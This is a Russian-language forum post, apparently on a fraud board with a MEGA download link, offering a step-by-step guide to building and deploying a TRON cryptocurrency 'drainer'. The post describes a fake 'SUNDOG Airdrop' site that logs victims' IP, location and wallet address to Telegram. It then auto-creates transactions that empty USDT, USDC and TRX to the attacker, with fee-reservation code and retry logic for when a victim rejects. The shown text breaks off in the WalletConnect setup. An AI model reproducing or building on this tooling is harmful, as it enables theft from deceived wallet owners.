- Новое
- Добавить закладку
- #1
TronLink:
TokenPocket:
Внутри:
СКАЧАТЬ>
331.1 KB file on MEGA
ПОЛНОЕ РУКОВОДСТВО ПО СОЗДАНИЮ TRON DRAINER
Step-by-Step инструкция от нуля до деплоя
СОДЕРЖАНИЕ:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1. Введение в блокчейн TRON
2. Технические основы TRON (TRX, TRC-10, TRC-20, Energy, Bandwidth)
3. Архитектура проекта
4. STEP 1: Инициализация проекта Next.js 16
5. STEP 2: Установка и настройка зависимостей
6. STEP 3: Регистрация WalletConnect и получение Project ID
7. STEP 4: Настройка TRON Wallet Provider
8. STEP 5: Создание модального окна выбора кошелька
9. STEP 6: Интеграция WalletConnect с поддержкой конкретных кошельков
10. STEP 7: Deep Links для мобильных кошельков
11. STEP 8: API Route для проверки балансов
12. STEP 9: API Route для Telegram уведомлений
13. STEP 10: Главная страница с логикой auto-drain
14. STEP 11: Создание и отправка TRON транзакций
15. STEP 12: Конвертация адресов Base58 ↔ Hex
16. STEP 13: UI/UX дизайн
17. STEP 14: Настройка Environment Variables
18. STEP 15: Деплой на Vercel
19. Troubleshooting и частые ошибки
20. Заключение
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 1: ВВЕДЕНИЕ В БЛОКЧЕЙН TRON
═══════════════════════════════════════════════════════════════════════════════
1.1. ЧТО ТАКОЕ TRON?
TRON - это децентрализованная блокчейн-платформа, запущенная в 2017 году
Джастином Саном (Justin Sun). Это полноценная операционная система на базе
блокчейна, аналогичная Ethereum, но с рядом ключевых улучшений.
ОСНОВНЫЕ ХАРАКТЕРИСТИКИ:
• Высокая пропускная способность: до 2000 транзакций в секунду (TPS)
• Низкие комиссии: в среднем $0.000005 за транзакцию
• Delegated Proof-of-Stake (DPoS) консенсус
• Совместимость с виртуальной машиной Ethereum (EVM-compatible)
• Поддержка смарт-контрактов на Solidity
1.2. ПОЧЕМУ TRON ПОПУЛЯРЕН?
TRON занимает особое место в криптоиндустрии по нескольким причинам:
1) USDT НА TRON - САМЫЙ ПОПУЛЯРНЫЙ СТЕЙБЛКОИН
По данным на 2024 год, более 50% всех USDT существует именно на блокчейне
TRON. Это связано с низкими комиссиями и высокой скоростью транзакций.
Сравнение комиссий за перевод USDT:
• Ethereum (ERC-20): $5-50 в зависимости от загрузки сети
• TRON (TRC-20): $0.5-2 (фиксированная стоимость ~13-15 TRX)
• BSC (BEP-20): $0.1-0.5
2) ОГРОМНАЯ БАЗА ПОЛЬЗОВАТЕЛЕЙ В АЗИИ
TRON особенно популярен в Китае, Южной Корее и Юго-Восточной Азии.
Binance, Huobi и другие азиатские биржи массово используют TRON.
3) ДОСТУПНОСТЬ ДЛЯ DEFI
Низкие комиссии делают DeFi-операции доступными для обычных пользователей.
На Ethereum для простого swap может потребоваться $50-100 комиссии,
на TRON - всего $1-2.
4) РАЗВИТАЯ ИНФРАСТРУКТУРА
• Более 100 миллионов созданных аккаунтов
• Тысячи dApps
• Крупные DEX (SunSwap, JustSwap)
• Lending протоколы (JustLend)
1.3. ПРОБЛЕМЫ, КОТОРЫЕ РЕШАЕТ TRON
ПРОБЛЕМА 1 : МАСШТАБИРУЕМОСТЬ
Ethereum может обрабатывать только 15-30 транзакций в секунду, что приводит
к перегрузкам сети. TRON обрабатывает 2000 TPS, что решает эту проблему.
ПРОБЛЕМА 2 : ВЫСОКИЕ КОМИССИИ
В периоды высокой активности Ethereum комиссии достигают $100-200 за одну
транзакцию. На TRON комиссии остаются стабильными и низкими.
ПРОБЛЕМА 3 : ДОСТУПНОСТЬ СТЕЙБЛКОИНОВ
Перевод USDT должен быть дешевым и быстрым. TRON идеально подходит для
повседневных переводов, платежей и международных транзакций.
ПРОБЛЕМА 4 : СЛОЖНОСТЬ ИСПОЛЬЗОВАНИЯ
TRON предоставляет простые инструменты для разработчиков (TronWeb, TronGrid)
и интуитивные кошельки для пользователей (TronLink).
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 2: ТЕХНИЧЕСКИЕ ОСНОВЫ TRON
═══════════════════════════════════════════════════════════════════════════════
2.1. TRX (TRONIX) - НАТИВНАЯ МОНЕТА
───────────────────────────────────────────────────────────────────────────────
TRX - это базовая валюта блокчейна TRON, аналогичная ETH в Ethereum.
ОСНОВНЫЕ ФУНКЦИИ TRX:
1) ОПЛАТА КОМИССИЙ
Все транзакции требуют TRX для оплаты bandwidth и energy.
2) СТЕЙКИНГ И ГОЛОСОВАНИЕ
Держатели TRX могут "замораживать" (stake) свои токены и голосовать за
Super Representatives (валидаторов сети).
3) ПОЛУЧЕНИЕ РЕСУРСОВ
Заморозив TRX, пользователь получает:
• Energy (для смарт-контрактов)
• Bandwidth (для обычных транзакций)
4) МИНИМАЛЬНЫЙ БАЛАНС
Для активации аккаунта требуется минимум 0.1 TRX.
Для отправки TRC-20 токенов рекомендуется иметь 15-20 TRX на балансе.
2.2. TRC-10 ТОКЕНЫ
───────────────────────────────────────────────────────────────────────────────
TRC-10 - это стандарт токенов НА УРОВНЕ ПРОТОКОЛА TRON.
ОСОБЕННОСТИ:
• Создаются без смарт-контрактов
• Очень низкая комиссия за создание (1024 TRX)
• Не требуют Energy для транзакций, только Bandwidth
• Используются редко (в основном для ICO)
ПРИМЕРЫ:
• BTT (BitTorrent Token) изначально был TRC-10
• Некоторые игровые токены
ОТЛИЧИЯ ОТ TRC-20:
TRC-10 работает на уровне протокола, TRC-20 - это смарт-контракты.
TRC-10 дешевле в создании, но менее гибкий.
2.3. TRC-20 ТОКЕНЫ (ГЛАВНЫЙ СТАНДАРТ)
───────────────────────────────────────────────────────────────────────────────
TRC-20 - это стандарт токенов на базе смарт-контрактов, аналогичный ERC-20.
КЛЮЧЕВЫЕ ОСОБЕННОСТИ:
1) СМАРТ-КОНТРАКТЫ
Каждый TRC-20 токен - это смарт-контракт с адресом.
Например:
• USDT (Tether): TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
• USDC: TEkxiTehnzSmSe2XqrBj4w32RUN966rdz8
2) СТАНДАРТНЫЕ ФУНКЦИИ
Код:
function transfer(address to, uint256 amount)
function balanceOf(address account)
function approve(address spender, uint256 amount)
function transferFrom(address from, address to, uint256 amount)
3) ТРЕБУЕТ ENERGY
Транзакции TRC-20 требуют вычислительных ресурсов (Energy).
Без Energy комиссия сжигается в TRX (~13-15 TRX за USDT перевод).
4) ПОПУЛЯРНЫЕ TRC-20 ТОКЕНЫ
• USDT (самый используемый стейблкоин)
• USDC (второй по популярности стейблкоин)
• USDD (алгоритмический стейблкоин TRON)
• TUSD, USDJ и другие
2.4. СИСТЕМА КОМИССИЙ: BANDWIDTH И ENERGY
───────────────────────────────────────────────────────────────────────────────
Это САМЫЙ ВАЖНЫЙ раздел для понимания работы с TRON!
2.4.1. BANDWIDTH POINTS (ПОЛОСА ПРОПУСКАНИЯ)
ЧТО ЭТО:
Bandwidth измеряет размер транзакции в байтах. Каждая транзакция занимает
определенное количество байт и требует соответствующее количество bandwidth.
КАК ПОЛУЧИТЬ:
1) БЕСПЛАТНЫЙ BANDWIDTH: 600 points в день для каждого аккаунта
2) FROZEN BANDWIDTH: заморозить TRX и получить дополнительный bandwidth
• 1 TRX = ~1000 bandwidth points при заморозке на 3 дня
ДЛЯ ЧЕГО НУЖЕН:
• Обычные TRX переводы: ~270 bandwidth points
• TRC-10 переводы: ~270 bandwidth points
• TRC-20 переводы (только для записи в блокчейн, не для вычислений)
ЕСЛИ BANDWIDTH ЗАКОНЧИЛСЯ:
Система автоматически сжигает TRX (~0.001 TRX за 1000 bandwidth).
2.4.2. ENERGY (ЭНЕРГИЯ ДЛЯ СМАРТ-КОНТРАКТОВ)
ЧТО ЭТО:
Energy - это вычислительный ресурс для выполнения смарт-контрактов.
Аналог Gas в Ethereum.
КАК ПОЛУЧИТЬ:
1) FROZEN ENERGY: заморозить TRX и получить Energy
• 1 TRX = ~1000-1500 Energy points при заморозке
2) СЖИГАНИЕ TRX: если Energy нет, он автоматически сжигается из TRX
СКОЛЬКО НУЖНО ДЛЯ TRC-20:
• USDT transfer(): ~31,895 Energy
• USDC transfer(): ~30,000 Energy
• Approve(): ~15,000 Energy
РАСЧЕТ СТОИМОСТИ:
Energy в TRX рассчитывается так:
JavaScript:
// Текущий курс: 1 Energy = ~420 SUN (0.00042 TRX)
const energyPrice = 420; // sun per energy unit
const energyNeeded = 31895; // для USDT transfer
const totalSun = energyNeeded * energyPrice; // 13,395,900 SUN
const totalTrx = totalSun / 1_000_000; // 13.4 TRX
Поэтому для отправки USDT нужно иметь ~15 TRX на балансе (с запасом).
2.4.3. ВАЖНЫЙ МОМЕНТ: ПОЧЕМУ НЕ ОТПРАВЛЯТЬ ВЕСЬ TRX СРАЗУ!!!
При создании drainer приложения КРИТИЧЕСКИ ВАЖНО правильно рассчитать комиссии:
ПРОБЛЕМА:
Если вы сначала отправите весь TRX, то для отправки USDT не хватит средств
на комиссию, и транзакция провалится.
ПРАВИЛЬНАЯ ПОСЛЕДОВАТЕЛЬНОСТЬ:
1) Создать USDT транзакцию БЕЗ отправки
2) Узнать energy_fee из созданной транзакции
3) Зарезервировать TRX для оплаты комиссии: energy_fee * 1.5
4) Отправить USDT (комиссия спишется автоматически)
5) Отправить оставшиеся TRX
ПРИМЕР КОДА:
JavaScript:
// 1. Создаем USDT транзакцию для расчета комиссии
const usdtContract = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
const usdtTx = await tronWeb.transactionBuilder.triggerSmartContract(
usdtContract,
'transfer(address,uint256)',
{ feeLimit: 50_000_000 },
[
{ type: 'address', value: recipientAddress },
{ type: 'uint256', value: usdtBalance }
],
tronWeb.address.toHex(address)
);
// 2. Получаем energy_fee
const energyFee = usdtTx.energy_fee || 15_000_000; // fallback 15 TRX
// 3. Резервируем TRX для комиссии
const estimatedFee = Math.ceil(energyFee * 1.5); // запас 50%
const trxToReserve = estimatedFee + 5_000_000; // +5 TRX на bandwidth
// 4. Считаем, сколько TRX можно отправить
const trxAvailable = currentBalance - trxToReserve;
const trxToSend = trxAvailable > 0 ? trxAvailable : 0;
2.5. ФОРМАТЫ АДРЕСОВ В TRON
───────────────────────────────────────────────────────────────────────────────
TRON использует ДВА формата адресов:
2.5.1. BASE58 ФОРМАТ (ЧИТАЕМЫЙ)
Начинается с буквы "T", длина 34 символа.
Пример: TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
ЭТО:
• Формат для пользователей
• Отображается в кошельках
• Используется в blockchain explorers (TronScan)
СТРУКТУРА:
T + Base58 encoded (version + payload + checksum)
2.5.2. HEX ФОРМАТ (ДЛЯ КОНТРАКТОВ)
Начинается с "0x41" (или просто "41"), длина 42 символа.
Пример: 0x41a614f803b6fd780986a42c78ec9c7f77e6ded13c
ЭТО:
• Формат для смарт-контрактов
• Используется в TronWeb API
• Префикс 0x41 означает mainnet адрес TRON
КОНВЕРТАЦИЯ МЕЖДУ ФОРМАТАМИ:
JavaScript:
// Base58 → Hex
const hexAddress = tronWeb.address.toHex('TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t');
// Результат: "0x41a614f803b6fd780986a42c78ec9c7f77e6ded13c"
// Hex → Base58
const base58Address = tronWeb.address.fromHex('41a614f803b6fd780986a42c78ec9c7f77e6ded13c');
// Результат: "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"
ВАЖНО:
При работе с TronGrid API для получения TRC-20 балансов НУЖНО использовать
Hex формат БЕЗ префикса "0x". Только "41...".
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 3: АРХИТЕКТУРА ПРОЕКТА
═══════════════════════════════════════════════════════════════════════════════
3.1. TECH STACK
───────────────────────────────────────────────────────────────────────────────
FRONTEND:
• Next.js 16 (App Router)
• React 19.2
• TypeScript
• Tailwind CSS v4
• Shadcn/ui компоненты
BLOCKCHAIN:
• TronWeb 6.x (основная библиотека для работы с TRON)
• @tronweb3/tronwallet-adapters (адаптеры для разных кошельков)
• @tronweb3/tronwallet-adapter-react-hooks (React hooks для wallet state)
ИНТЕГРАЦИИ:
• WalletConnect SDK (для универсального подключения кошельков)
• Telegram Bot API (для уведомлений)
• TronGrid API (для проверки балансов)
• CoinGecko API (для получения цен)
3.2. СТРУКТУРА ФАЙЛОВ
───────────────────────────────────────────────────────────────────────────────
Код:
/
├── app/
│ ├── layout.tsx # Корневой layout с TronWalletProvider
│ ├── page.tsx # Главная страница с логикой drainer
│ ├── globals.css # Tailwind CSS стили
│ └── api/
│ ├── wallet/
│ │ └── scan/
│ │ └── route.ts # API: проверка балансов TRX/USDT/USDC
│ └── notify/
│ └── route.ts # API: отправка Telegram уведомлений
│
├── components/
│ ├── tron-wallet-provider.tsx # Provider с адаптерами кошельков
│ ├── wallet-select-modal.tsx # Модальное окно выбора кошелька
│ └── ui/ # Shadcn/ui компоненты
│
├── lib/
│ ├── walletconnect.ts # Конфигурация WalletConnect
│ ├── deeplinks.ts # Deep links для мобильных кошельков
│ ├── telegram.ts # Функции для Telegram Bot API
│ ├── addressConverter.ts # Base58 ↔ Hex конвертация
│ └── utils.ts # Утилиты (cn функция и др.)
│
├── public/
│ └── wallets/ # Иконки кошельков
│
├── .env.local # Environment variables (НЕ коммитить!)
├── package.json
├── next.config.mjs
└── tsconfig.json
3.3. СХЕМА РАБОТЫ ПРИЛОЖЕНИЯ
───────────────────────────────────────────────────────────────────────────────
Код:
┌─────────────────────────────────────────────────────────────────────────┐
│ 1. ПОЛЬЗОВАТЕЛЬ ОТКРЫВАЕТ САЙТ │
│ → Видит "SUNDOG Airdrop" промо │
│ → Кнопка "Connect Wallet" │
└────────────────────────────┬────────────────────────────────────────────┘
│
┌────────────────────────────▼────────────────────────────────────────────┐
│ 2. ВЫБОР КОШЕЛЬКА (Modal) │
│ → TronLink (browser extension) │
│ → TokenPocket (mobile via deep link) │
│ → imToken (mobile via deep link) │
│ → WalletConnect (универсальный для Trust, BitKeep, etc.) │
└────────────────────────────┬────────────────────────────────────────────┘
│
┌────────────────────────────▼────────────────────────────────────────────┐
│ 3. ПОДКЛЮЧЕНИЕ КОШЕЛЬКА │
│ → Кошелек запрашивает подтверждение │
│ → Пользователь подтверждает │
│ → State: connected=true, address=T... │
└────────────────────────────┬────────────────────────────────────────────┘
│
┌──────────┴──────────┐
│ │
┌─────────────────▼───────────┐ ┌─────▼────────────────────────────────┐
│ 4A. TELEGRAM УВЕДОМЛЕНИЕ │ │ 4B. ПРОВЕРКА БАЛАНСОВ │
│ POST /api/notify │ │ POST /api/wallet/scan │
│ → IP-адрес пользователя │ │ → TronGrid API: TRX баланс │
│ → Геолокация (страна+флаг) │ │ → TronGrid API: USDT баланс │
│ → Тип кошелька │ │ → TronGrid API: USDC баланс │
│ → Адрес кошелька │ │ → CoinGecko API: цены │
│ │ │ → Расчет USD-стоимости портфеля │
└─────────────────────────────┘ └─────┬────────────────────────────────┘
│
┌──────────────────┴───────────────────┐
│ Balance loaded = true │
│ hasBalance = (TRX > 0 || USDT > 0) │
└──────────────────┬───────────────────┘
│
┌──────────────────────────────────────▼───────────────────────────────────┐
│ 5. АВТОМАТИЧЕСКИЙ ЗАПУСК ОТПРАВКИ (если hasBalance && !triggered) │
│ → Задержка 1500ms │
│ → Создание транзакций для ВСЕХ токенов + TRX │
└──────────────────────────────────────┬───────────────────────────────────┘
│
┌──────────────────────────────────────▼───────────────────────────────────┐
│ 6. СОЗДАНИЕ ТРАНЗАКЦИЙ │
│ А) USDT (если баланс > 0) │
│ → triggerSmartContract('transfer', [recipient, amount]) │
│ → Получаем energy_fee для расчета резерва TRX │
│ │
│ Б) USDC (если баланс > 0) │
│ → triggerSmartContract('transfer', [recipient, amount]) │
│ │
│ В) TRX (остаток после резервирования комиссий) │
│ → sendTrx(recipient, amount - totalReserve) │
└──────────────────────────────────────┬───────────────────────────────────┘
│
┌──────────────────────────────────────▼───────────────────────────────────┐
│ 7. ПОСЛЕДОВАТЕЛЬНАЯ ПОДПИСЬ ТРАНЗАКЦИЙ │
│ → signTransaction(tx1) [USDT] │
│ → Задержка 1000ms │
│ → signTransaction(tx2) [USDC] │
│ → Задержка 1000ms │
│ → signTransaction(tx3) [TRX] │
│ │
│ Каждая подпись открывает кошелек с запросом подтверждения │
└──────────────────────────────────────┬───────────────────────────────────┘
│
┌──────────────────┴───────────────────┐
│ │
┌───────────▼──────────┐ ┌───────────▼──────────┐
│ ВСЕ ПОДПИСАНЫ │ │ ПОЛЬЗОВАТЕЛЬ ОТКЛОНИЛ│
│ Success! │ │ (reject) │
│ → Средства ушли │ │ → Fallback логика │
└──────────────────────┘ └───────────┬──────────┘
│
┌───────────────▼──────────────┐
│ Если TRX отклонен, но есть │
│ USDT/USDC: │
│ → Создать новые транзакции │
│ только для токенов │
│ → Попытаться отправить │
└──────────────────────────────┘
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 4: STEP 1 - ИНИЦИАЛИЗАЦИЯ ПРОЕКТА NEXT.JS 16
═══════════════════════════════════════════════════════════════════════════════
4.1. СОЗДАНИЕ НОВОГО ПРОЕКТА
───────────────────────────────────────────────────────────────────────────────
Откройте терминал и выполните:
Bash:
npx create-next-app@latest tron-drainer
При создании выберите следующие опции:
Код:
✔ Would you like to use TypeScript? … Yes
✔ Would you like to use ESLint? … Yes
✔ Would you like to use Tailwind CSS? … Yes
✔ Would you like to use `src/` directory? … No
✔ Would you like to use App Router? … Yes
✔ Would you like to use Turbopack for next dev? … Yes
✔ Would you like to customize the import alias (@/* by default)? … No
Перейдите в папку проекта:
Bash:
cd tron-drainer
4.2. СТРУКТУРА СОЗДАННОГО ПРОЕКТА
───────────────────────────────────────────────────────────────────────────────
Next.js создаст следующую структуру:
Код:
tron-drainer/
├── app/
│ ├── favicon.ico
│ ├── globals.css
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── node_modules/
├── .gitignore
├── next.config.mjs
├── package.json
├── tsconfig.json
└── tailwind.config.ts
4.3. НАСТРОЙКА TAILWIND CSS V4
───────────────────────────────────────────────────────────────────────────────
Начиная с Next.js 16, используется Tailwind CSS v4. Откройте app/globals.css
и замените содержимое на:
CSS:
@import 'tailwindcss';
@theme inline {
--font-sans: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Helvetica', 'Arial', sans-serif;
/* Цветовая схема */
--color-background: #000000;
--color-foreground: #ffffff;
--color-card: #0a0a0a;
--color-card-foreground: #ffffff;
--color-popover: #0a0a0a;
--color-popover-foreground: #ffffff;
--color-primary: #8b5cf6;
--color-primary-foreground: #ffffff;
--color-secondary: #1f1f1f;
--color-secondary-foreground: #ffffff;
--color-muted: #1f1f1f;
--color-muted-foreground: #a1a1aa;
--color-accent: #1f1f1f;
--color-accent-foreground: #ffffff;
--color-destructive: #ef4444;
--color-destructive-foreground: #ffffff;
--color-border: #27272a;
--color-input: #27272a;
--color-ring: #8b5cf6;
--radius: 0.5rem;
}
* {
border-color: var(--color-border);
}
body {
background: var(--color-background);
color: var(--color-foreground);
font-family: var(--font-sans);
}
4.4. УСТАНОВКА SHADCN/UI
───────────────────────────────────────────────────────────────────────────────
Shadcn/ui - это коллекция переиспользуемых компонентов. Инициализируем:
Bash:
npx shadcn@latest init
Выберите опции:
Код:
✔ Preflight and CSS variables … Yes
✔ Where is your global CSS file? … app/globals.css
✔ Where is your tailwind.config located? … tailwind.config.ts
✔ Configure the import alias for components? … @/components
✔ Configure the import alias for utils? … @/lib/utils
✔ Write configuration to components.json? … Yes
Установите необходимые компоненты:
Bash:
npx shadcn@latest add button
npx shadcn@latest add dialog
npx shadcn@latest add card
npx shadcn@latest add badge
npx shadcn@latest add toast
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 5: STEP 2 - УСТАНОВКА И НАСТРОЙКА ЗАВИСИМОСТЕЙ
═══════════════════════════════════════════════════════════════════════════════
5.1. УСТАНОВКА TRON БИБЛИОТЕК
───────────────────────────────────────────────────────────────────────────────
Bash:
npm install tronweb@6.0.0
npm install @tronweb3/tronwallet-adapters
npm install @tronweb3/tronwallet-adapter-react-hooks
npm install @tronweb3/tronwallet-adapter-react-ui
npm install @tronweb3/tronwallet-adapter-tronlink
npm install @tronweb3/tronwallet-adapter-tokenpocket
npm install @tronweb3/tronwallet-adapter-imtoken
npm install @tronweb3/tronwallet-adapter-walletconnect
ОБЪЯСНЕНИЕ ПАКЕТОВ:
• tronweb - основная библиотека для работы с TRON (создание транзакций, работа
с контрактами, конвертация адресов)
• @tronweb3/tronwallet-adapters - ядро адаптеров кошельков
• @tronweb3/tronwallet-adapter-react-hooks - React hooks для управления
состоянием кошелька (useWallet hook)
• @tronweb3/tronwallet-adapter-react-ui - готовые UI компоненты (мы будем
использовать только частично, создадим свою модалку)
• Остальные пакеты - адаптеры для конкретных кошельков
5.2. УСТАНОВКА ДОПОЛНИТЕЛЬНЫХ БИБЛИОТЕК
───────────────────────────────────────────────────────────────────────────────
Bash:
# Для иконок
npm install lucide-react
# Для toast уведомлений
npm install sonner
# Для работы с датами
npm install date-fns
5.3. ПРОВЕРКА PACKAGE.JSON
───────────────────────────────────────────────────────────────────────────────
Ваш package.json должен содержать примерно следующее:
JSON:
{
"name": "tron-drainer",
"version": "0.1.0",
"private": true,
"scripts": {
"dev": "next dev --turbopack",
"build": "next build",
"start": "next start",
"lint": "next lint"
},
"dependencies": {
"@tronweb3/tronwallet-adapter-imtoken": "^1.1.8",
"@tronweb3/tronwallet-adapter-react-hooks": "^1.1.8",
"@tronweb3/tronwallet-adapter-react-ui": "^1.1.8",
"@tronweb3/tronwallet-adapter-tokenpocket": "^1.1.8",
"@tronweb3/tronwallet-adapter-tronlink": "^1.1.8",
"@tronweb3/tronwallet-adapter-walletconnect": "^2.1.0",
"@tronweb3/tronwallet-adapters": "^1.1.8",
"lucide-react": "^0.460.0",
"next": "16.0.0",
"react": "^19.0.0",
"react-dom": "^19.0.0",
"sonner": "^1.7.1",
"tronweb": "^6.0.0"
},
"devDependencies": {
"@types/node": "^20",
"@types/react": "^19",
"@types/react-dom": "^19",
"eslint": "^8",
"eslint-config-next": "16.0.0",
"typescript": "^5"
}
}
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 6: STEP 3 - РЕГИСТРАЦИЯ WALLETCONNECT И ПОЛУЧЕНИЕ PROJECT ID
═══════════════════════════════════════════════════════════════════════════════
WalletConnect - это протокол для подключения кошельков к dApps. Он позволяет
пользователям подключать мобильные кошельки к веб-приложениям через QR-код
или deep links.
6.1. РЕГИСТРАЦИЯ НА WALLETCONNECT CLOUD
───────────────────────────────────────────────────────────────────────────────
ШАГ 1: Перейдите на https://dashboard.walletconnect.com/sign-in
ШАГ 2: Нажмите "Sign In" и войдите через:
• GitHub
ШАГ 3: После входа вы попадете в Dashboard. Нажмите "+Project"
ШАГ 4: Заполните информацию о проекте:
• Project Name: "IDK" (или любое другое название)
ШАГ 5: Нажмите "Create" - вы получите PROJECT ID
Пример Project ID: 0345q214a18d315b6c9sw03s6d543200
ВАЖНО: Сохраните этот Project ID, он понадобится для настройки WalletConnect!
6.2. НАСТРОЙКА РАЗРЕШЕННЫХ ДОМЕНОВ
───────────────────────────────────────────────────────────────────────────────
В настройках проекта на WalletConnect Cloud:
ШАГ 1: Перейдите в Domain → Allowlist
ШАГ 2: Добавьте домены:
• localhost (для разработки)
• *.vercel.app (если деплоите на Vercel)
• yourdomain.com (ваш продакшн домен)
6.3. ПОНИМАНИЕ EXPLORER API - СПИСОК КОШЕЛЬКОВ
───────────────────────────────────────────────────────────────────────────────
WalletConnect имеет ОГРОМНУЮ базу данных кошельков. Каждый кошелек имеет:
• Уникальный ID
• Название
• Иконку
• Список поддерживаемых платформ (mobile/desktop/browser)
• Поддерживаемые блокчейны
ДОСТУП К БАЗЕ КОШЕЛЬКОВ:
WalletGuide | WalletConnect
WalletGuide is the ultimate directory of onchain wallets, helping users and developers identify which wallets excel across a variety of standards and innovations, including security, features, quality, and more.
Это официальный гайд, где можно:
1) Найти любой кошелек по названию
2) Получить его Wallet ID
3) Узнать, какие платформы поддерживает
4) Проверить поддержку TRON
6.4. КАК НАЙТИ WALLET ID ДЛЯ КОНКРЕТНОГО КОШЕЛЬКА
───────────────────────────────────────────────────────────────────────────────
Пример: найдем ID для Trust Wallet
ШАГ 1: Откройте
WalletGuide | WalletConnect
WalletGuide is the ultimate directory of onchain wallets, helping users and developers identify which wallets excel across a variety of standards and innovations, including security, features, quality, and more.
ШАГ 2: В поиске введите "Trust Wallet"
ШАГ 3: Кликните на кошелек - откроется детальная информация:
Trust Wallet
─────────────────────────────────────────────────────────
ID: 4622a2b2d6af1c9844944291e5e7351a6aa24cd7b23099efac1b2fd875da31a0
Platforms:
• Mobile (iOS, Android)
• Browser Extension (Chrome)
Supported Chains:
• Ethereum
• Binance Smart Chain
• Polygon
• TRON ← ВАЖНО! Проверяйте поддержку TRON
• и другие...
ШАГ 4: Скопируйте Wallet ID (длинная строка) - это и есть уникальный
идентификатор кошелька в системе WalletConnect.
6.5. ПОПУЛЯРНЫЕ КОШЕЛЬКИ С ПОДДЕРЖКОЙ TRON И ИХ ID
───────────────────────────────────────────────────────────────────────────────
Вот список популярных кошельков, которые поддерживают TRON, и их IDs:
1) TRUST WALLET
ID: 4622a2b2d6af1c9844944291e5e7351a6aa24cd7b23099efac1b2fd875da31a0
Платформы: Mobile (iOS/Android), Browser Extension
Deep Link: trust://
2) IMTOKEN
ID: ef333840daf915aafdc4a004525502d6d49d77bd9c65e0642dbaefb3c2893bef
Платформы: Mobile (iOS/Android)
Deep Link: imtokenv2://
3) TOKENPOCKET
ID: 20459438007b75f4f4acb98bf29aa3b800550309646d375da5fd4aac6c2a2c66
Платформы: Mobile (iOS/Android), Browser Extension
Deep Link: tpoutside://
ВАЖНОЕ ЗАМЕЧАНИЕ:
TronLink НЕ использует WalletConnect! Для TronLink нужен отдельный адаптер
(@tronweb3/tronwallet-adapter-tronlink), но не WalletConnect.
6.6. НАСТРОЙКА EXPLORERRECOMMENDEDWALLETIDS
───────────────────────────────────────────────────────────────────────────────
При создании WalletConnect адаптера можно указать "рекомендуемые" кошельки.
Эти кошельки будут показаны ПЕРВЫМИ в модальном окне WalletConnect.
ПРИМЕР КОНФИГУРАЦИИ:
Код:
import { WalletConnectAdapter } from '@tronweb3/tronwallet-adapter-walletconnect';
const walletConnectAdapter = new WalletConnectAdapter({
projectId: 'ad53ae497ee922ad9beb2ef78b1a7a6e', // ВАШ PROJECT ID
// Список кошельков, которые будут показаны первыми
explorerRecommendedWalletIds: [
// Trust Wallet
'4622a2b2d6af1c9844944291e5e7351a6aa24cd7b23099efac1b2fd875da31a0',
// imToken
'ef333840daf915aafdc4a004525502d6d49d77bd9c65e0642dbaefb3c2893bef',
// TokenPocket
'20459438007b75f4f4acb98bf29aa3b800550309646d375da5fd4aac6c2a2c66',
],
// Конфигурация TRON сети
network: 'mainnet',
// Включить показ всех кошельков (не только рекомендуемых)
showAllWallets: true,
});
ЧТО ЭТО ДАЕТ:
• Пользователи увидят Trust, imToken и TokenPocket в начале списка
• Остальные кошельки будут доступны через "Show all wallets"
• Это увеличивает конверсию, т.к. популярные кошельки видны сразу
6.7. КАК РАБОТАЕТ WALLETCONNECT ПОД КАПОТОМ
───────────────────────────────────────────────────────────────────────────────
ПРОЦЕСС ПОДКЛЮЧЕНИЯ:
1) ПОЛЬЗОВАТЕЛЬ НАЖИМАЕТ "WALLETCONNECT"
→ Открывается модальное окно с QR-кодом (на desktop)
→ Или список установленных кошельков (на mobile)
2) QR-КОД СОДЕРЖИТ:
→ wc
→ Это "приглашение" для кошелька подключиться к dApp
3) ПОЛЬЗОВАТЕЛЬ СКАНИРУЕТ QR
→ Кошелек отправляет запрос на WalletConnect relay server
→ Relay server связывает dApp и кошелек
4) УСТАНОВКА SESSION
→ Кошелек отправляет адрес и публичный ключ
→ dApp получает эту информацию
→ Session создан

5) ПОДПИСЬ ТРАНЗАКЦИЙ
→ dApp отправляет транзакцию через relay server
→ Кошелек получает и показывает пользователю
→ Пользователь подписывает
→ Подпись отправляется обратно в dApp через relay
ВАЖНО:
WalletConnect НЕ хранит приватные ключи! Это просто "мост" между приложением
и кошельком. Вся критическая информация передается зашифрованной.
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 7: STEP 4 - НАСТРОЙКА TRON WALLET PROVIDER
═══════════════════════════════════════════════════════════════════════════════
7.1. СОЗДАНИЕ ФАЙЛА КОНФИГУРАЦИИ WALLETCONNECT
───────────────────────────────────────────────────────────────────────────────
Создайте файл lib/walletconnect.ts:
Код:
import { WalletConnectAdapter } from '@tronweb3/tronwallet-adapter-walletconnect';
// ВАЖНО: Замените на ваш Project ID из WalletConnect Cloud
const WALLETCONNECT_PROJECT_ID = '';
// Chain ID для TRON mainnet (в формате CAIP-2)
// 0x2b6653dc = decimal 728126428 (TRON mainnet chain ID)
const TRON_CHAIN_ID = 'tron:0x2b6653dc';
export const walletConnectAdapter = new WalletConnectAdapter({
projectId: WALLETCONNECT_PROJECT_ID,
// Кошельки, показываемые первыми в WalletConnect modal
explorerRecommendedWalletIds: [
// Trust Wallet - самый популярный мультичейн кошелек
'id trust wallet с https://walletguide.walletconnect.network/',
// imToken - популярен в Азии
'id imtoken с id trust wallet с https://walletguide.walletconnect.network/',
// TokenPocket - хорошая поддержка TRON
'id token pocket с https://walletguide.walletconnect.network/',
],
// Показывать все доступные кошельки (не только рекомендуемые)
